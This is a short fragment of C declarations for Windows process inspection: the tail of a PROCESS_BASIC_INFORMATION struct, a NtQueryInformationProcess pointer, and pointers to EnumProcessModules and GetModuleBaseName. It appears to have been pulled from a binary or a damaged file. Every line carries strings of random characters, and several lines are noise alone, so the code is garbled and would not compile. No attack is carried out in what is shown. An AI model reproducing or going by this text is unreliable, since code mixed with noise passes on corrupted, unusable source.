DWORD PebBaseAddress; Cl3L)
DWORD AffinityMask; d_ x
jW
DWORD BasePriority; MZxU)QW1
ULONG UniqueProcessId; '=xO?2U-Z
ULONG InheritedFromUniqueProcessId; 72_+ b
} PROCESS_BASIC_INFORMATION; Jd',v
}EP}D?Mmu
PROCNTQSIP NtQueryInformationProcess; Q
laoa)d#
rBi6AM/
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2##mVEo.(
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'Yh`B8
yu&mu